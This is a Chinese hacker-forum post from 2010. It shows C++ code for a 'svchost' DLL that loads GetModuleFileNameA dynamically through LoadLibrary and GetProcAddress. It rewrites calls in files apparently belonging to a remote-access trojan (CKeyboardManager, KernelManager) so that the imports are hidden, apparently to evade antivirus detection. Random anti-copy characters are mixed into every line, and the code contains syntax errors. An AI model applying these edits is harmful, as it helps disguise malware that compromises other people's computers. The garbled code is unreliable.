Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记5 }& I: \' `9 T5 O3 o
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# q. J) @& h" |: R4 |1 ~  [
----------------------------------------3 t" g+ Z/ @0 T4 e& c
DTDY.h:; n0 ^& ?+ ]/ l. t; W1 m

" o1 p) ~6 d% D! H! z, q% |7 d#if _MSC_VER>1000
1 z/ D1 M' `4 I: B#pragma once
, m& I9 i3 q. U5 o; D4 P% E#endif //_MSC_VER>1000
+ l$ \; m1 J) Y# [#include<windows.h>
$ S4 a" v) m4 h( I5 p5 [6 I# Z9 E, x4 Y  V& v) Z: p( j
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; z) |, ]$ K- G, N" G6 ^class DTDY
' \4 c1 D# T2 y; q, O) K; ?{
5 x" h2 i" C+ X$ N  O  vpublic:
. R" o6 i4 P$ z+ Q5 n  v, pDTDY();
; j2 g1 Q( A1 @2 C$ P$ U* Bvirtual ~DTDY();. a8 i6 q9 o+ j! D! C4 }% X8 i& T
public:
- z, G( r* y8 [: T$ d' ?* istatic pGetModuleFileNameA MyGetModuleFileName;
! r' S: |$ t; _  k; K# astatic BOOL FunInitiallization();( `* E; I/ i) z5 J7 {  @
};: b/ g0 ?8 A, n- y, x  J
#endif
2 @( a. N/ X- x7 {$ p* F----------------------------------------
! Q. Z* e+ r0 M4 B) K
2 J4 `" _  ]' X4 JDTDY.cpp:+ m+ Y  w1 N1 b4 x7 f
( j+ k6 `2 H3 a6 p" Q' T* i8 `
#include "DTDY.h"
1 T" Q4 n3 S% H( M, I( BpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
& ]# h  Q7 D3 ~9 J8 MDTDY:TDY()
" X5 o) F. f+ N- Q+ ~; }% A{
- q( |% ~5 f2 V* q( ^}, G, S) \0 n7 O% a- k7 v4 ]
DTDY::~DTDY()
! T5 p& M7 N7 c4 w{  p/ Z% O: c3 x9 J! E
}: N$ j( T- I8 i/ r# k' [, r
BOOL DTDY::FunInitiallization()
5 c# i( {# w4 G. L8 K( x/ Q{6 Y2 Z# l/ A6 r& ^' g1 U
HMODULE hModule=LoadLibrary("kernel32.dll");8 @% t# E  T8 o2 u
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");' K5 E4 D( _4 F! Q/ y; k8 y
if(!MyGetModuleFileName=) return FALSE;
3 A6 D8 H2 ?/ m3 t/ I
) p3 C5 q: e! M( g5 Y5 [, Rreturn TRUE;
+ i/ v0 R$ N$ L0 M}
/ Y" o; R  x: Q" O7 N) Y----------------------------------------
$ a* c  ^6 M# Lsvchost.cpp:; t, E2 f1 _# R* @7 y

" V( l3 V$ I+ f- d) @. o+ j2 Q6 s#include "DTDY.h"
* U; g. X- N3 {5 D: ^
9 S( M9 I  y/ WBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)# k1 q# R" P8 t
{
4 G% L5 g4 F& \switch(ul_reason_for_call)4 N, h" o5 ]) H! g. R& ?6 u
{
; |  F9 h# d( C, c0 O2 }0 r6 Kcase DLL_PROCESS_ATTACH:
: v+ \# ?* X3 Wif(!DTDY::FunInitiallization()) return FALSE;
: R' a' _' P* I8 I9 a5 x
/ c3 z: h% ~( r! p; \break;, n4 P2 }: L! a
}
8 z% J' `1 p% Z& c}
5 d$ U- K5 H  P5 {, A/ z. Y3 v/ L1 K  R

& R- b' e% X( h) b! f9 KGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. v! Z; z* f& e9 y  m4 T# x
改写为
! |( \# G1 B* t9 i$ A3 cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));0 }9 g9 }0 w' h* N
----------------------------------------
) A# x8 m5 P+ f, K. `KernelManager.cpp:7 x0 K/ j. P5 p2 L- l7 q5 m

: T% S- `: z- m4 \4 H* ]; u* T3 _/ y  b: X#include "../DTDY.h"
, l. b- j$ P' [GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));7 v/ V+ r9 m* J9 ^
改写为! G6 D. v! Y! F$ `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; K) b: V6 |$ v0 h% N
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2